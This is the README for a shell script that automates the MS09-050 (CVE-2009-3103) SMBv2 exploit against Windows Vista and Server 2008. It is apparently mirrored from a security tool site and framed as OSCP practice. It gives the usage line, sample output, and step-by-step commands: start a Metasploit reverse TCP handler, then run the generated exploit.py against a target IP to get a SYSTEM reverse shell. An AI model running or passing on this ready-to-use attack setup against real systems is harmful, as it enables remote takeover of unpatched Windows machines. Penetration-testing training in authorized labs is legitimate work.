MS09-050 SMBv2 Exploit Wrapper

One-liner setup for MS09-050 (CVE-2009-3103) exploitation. No fuss, no debugging, just works.

Why?

Most MS09-050 scripts floating around require manual shellcode injection, have timing issues with handlers, or just don't work. This wrapper:

• Generates shellcode with correct parameters
• Builds the exploit automatically
• Creates a ready-to-use Metasploit handler
• Tells you exactly what to run

Built for OSCP prep where time matters.

Target

• Vulnerability: MS09-050 / CVE-2009-3103
• Affected: Windows Vista SP1/SP2, Windows Server 2008 (before R2)
• Service: SMBv2 on port 445
• Result: SYSTEM shell

Requirements

• Kali Linux (or any distro with Metasploit)
• msfvenom
• msfconsole
• python2
• rpcclient (usually pre-installed)

Usage

./ms09_050.sh <TARGET_IP> <YOUR_IP> [PORT]

Example

./ms09_050.sh 192.168.233.40 192.168.45.232 443

Output:

[*] Target: 192.168.233.40 | LHOST: 192.168.45.232 | LPORT: 443
[*] Generating shellcode...
[+] Files created:
    - exploit.py
    - handler.rc

=== RUN ===

Terminal 1:  msfconsole -q -r handler.rc
Terminal 2:  python2 exploit.py 192.168.233.40

Execution

1. Terminal 1 - Start handler:

   root@kitploit:~

   msfconsole -q -r handler.rc
   

   Wait for: Started reverse TCP handler on ...

2. Terminal 2 - Run exploit:

   root@kitploit:~

   python2 exploit.py 192.168.233.40
   

3. Check Terminal 1 for your shell.

Notes

• Uses staged payload (windows/shell/reverse_tcp) - works reliably with the stager in this exploit
• If exploit fails, target might need a reboot or isn't vulnerable
• Port 443 recommended if 4444 is filtered

Credits

Original exploit based on ohnozzy's MS09-050 PoC.

License

MIT - Do whatever you want, just don't be evil.